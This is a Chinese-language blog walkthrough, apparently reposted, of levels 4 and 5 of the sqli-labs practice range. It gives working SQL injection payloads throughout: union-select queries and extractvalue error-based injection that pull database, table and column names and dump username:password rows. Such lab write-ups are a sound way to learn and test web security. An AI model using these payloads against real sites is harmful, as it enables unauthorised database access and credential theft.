目錄
前言
一、sqli靶場第四關(guān)
1.1 判斷注入類型
1.2 觀察報錯??
1.3?判斷數(shù)據(jù)表中的列數(shù)
1.4?使用union聯(lián)合查詢
1.5 使用group_concat()函數(shù)
二、sqli靶場第五關(guān)
2.1 判斷注入類型
2.2 使用extractvalue函數(shù)報錯
2.3 爆出數(shù)據(jù)庫中的表名
2.4?爆出users表中的列名
2.5 爆出users表中的數(shù)據(jù)
??嗨!我是Filotimo__??。很高興與大家相識,希望我的博客能對你有所幫助。
??本文由Filotimo__??原創(chuàng),首發(fā)于CSDN??。
??如需轉(zhuǎn)載,請事先與我聯(lián)系以獲得授權(quán)??。
??歡迎大家給我點(diǎn)贊??、收藏??,并在留言區(qū)??與我互動,這些都是我前進(jìn)的動力!
??我的格言:森林草木都有自己認(rèn)為對的角度??。
前言
?sqli靶場第一關(guān):https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502
?sqli靶場第二關(guān)和第三關(guān):
https://filotimo.blog.csdn.net/article/details/134938683?spm=1001.2014.3001.5502
一、sqli靶場第四關(guān)
1.1 判斷注入類型
輸入?id=1',正常回顯('是英文單引號)。
輸入?id=1'',正常回顯(''是兩個英文單引號)。
輸入?id=1",出現(xiàn)如圖所示報錯("是英文雙引號):
輸入?id=1"",正?;仫@(""是兩個英文雙引號)。
輸入?id=1/1,正?;仫@。
輸入?id=1/0,正?;仫@。
初步判斷為雙引號閉合。
1.2 觀察報錯??
報錯信息為'"1"") LIMIT 0,1'?
進(jìn)一步判斷為")閉合
輸入?id=1") --+,正常回顯。
1.3?判斷數(shù)據(jù)表中的列數(shù)
輸入?id=1") order by 3 --+,正常回顯。
輸入?id=1") order by 4 --+,顯示超出。
用二分法與order by確定列數(shù)為3
1.4?使用union聯(lián)合查詢
輸入?id=0") union select 1,2,3--+,判斷回顯位,頁面如下:
輸入?id=0") union select 1,2,database()--+爆出數(shù)據(jù)庫名:
可以看到數(shù)據(jù)庫名為security。
1.5 使用group_concat()函數(shù)
構(gòu)造如下語句輸入:
?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出表名:
可以看到表名為emails,referers,uagents,users。
點(diǎn)到為止,我就不繼續(xù)打這關(guān)了,這里跟第三關(guān)思路一樣,可以看我前面寫的博客。
二、sqli靶場第五關(guān)
2.1 判斷注入類型
輸入?id=1',出現(xiàn)如圖所示報錯('是英文單引號):
輸入?id=1'',正常回顯(''是兩個英文單引號):
輸入?id=1/1,正常回顯。
輸入?id=1/0,正?;仫@。
判斷為單引號閉合。
在正?;仫@(You are in...........)中,沒有看到顯示位,考慮報錯注入。
2.2 使用extractvalue函數(shù)報錯
構(gòu)造語句:
?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
extractvalue 函數(shù)用于從 XML 文檔中提取指定路徑的數(shù)據(jù)。我們通過將 extractvalue 函數(shù)的參數(shù)設(shè)置為 concat 函數(shù)的返回值,這樣 extractvalue 函數(shù)就會報錯,它的報錯內(nèi)容就是我們想要獲得的東西。
concat 函數(shù)用于將多個字符串拼接成一個字符串,該函數(shù)的參數(shù)包括多個被拼接的字符串與拼接符號。在這里,我們將拼接符號設(shè)置為 0x7e,該字符是波浪號的 ASCII 編碼值,用于分隔拼接的字符串。我們在拼接的字符串中指定了三個部分:0x7e、database() 和 0x7e,其中 database() 用于返回當(dāng)前數(shù)據(jù)庫的名稱。
結(jié)果如圖:
我們能看到數(shù)據(jù)庫名為security。
2.3 爆出數(shù)據(jù)庫中的表名
構(gòu)造語句:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
這條語句跟上一條相似,只是把database()替換成了(select group_concat(table_name) from information_schema.tables where table_schema=database())
結(jié)果如圖:
我們能看到表名為emails,referers,uagents,users。
2.4?爆出users表中的列名
構(gòu)造語句:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e)) --+
結(jié)果如圖:
我們能看到users表中的列名為id,username,password。
2.5 爆出users表中的數(shù)據(jù)
構(gòu)造語句:
?id=-1' and extractvalue(1,concat(0x7e,(select concat(username,":",password) from users limit 0,1),0x7e)) --+
這里我們使用 concat函數(shù)將 username 字段與 :字符和password字段連接起來。而limit 0,1部分用于指定返回結(jié)果的起始位置和數(shù)量,它表示從第 0 行開始,只返回一行數(shù)據(jù),這通常用于限制查詢結(jié)果的數(shù)量。(如果出現(xiàn) “Subquery returns more than 1 row” 錯誤,這通常是由于使用子查詢時返回行數(shù)超過了預(yù)期,需要修正查詢或使用合適的限制來確保只返回一個結(jié)果行。)
結(jié)果如圖:
可以看到賬號是Dumb,密碼也是Dumb
我們可以將limit 0,1改為limit 1,1
結(jié)果如圖:
文章來源:http://www.zghlxwxcb.cn/news/detail-819706.html
可以看到賬號是Angelina,密碼是I-kill-you文章來源地址http://www.zghlxwxcb.cn/news/detail-819706.html
到了這里,關(guān)于【sqli靶場】第四關(guān)和第五關(guān)通關(guān)思路的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!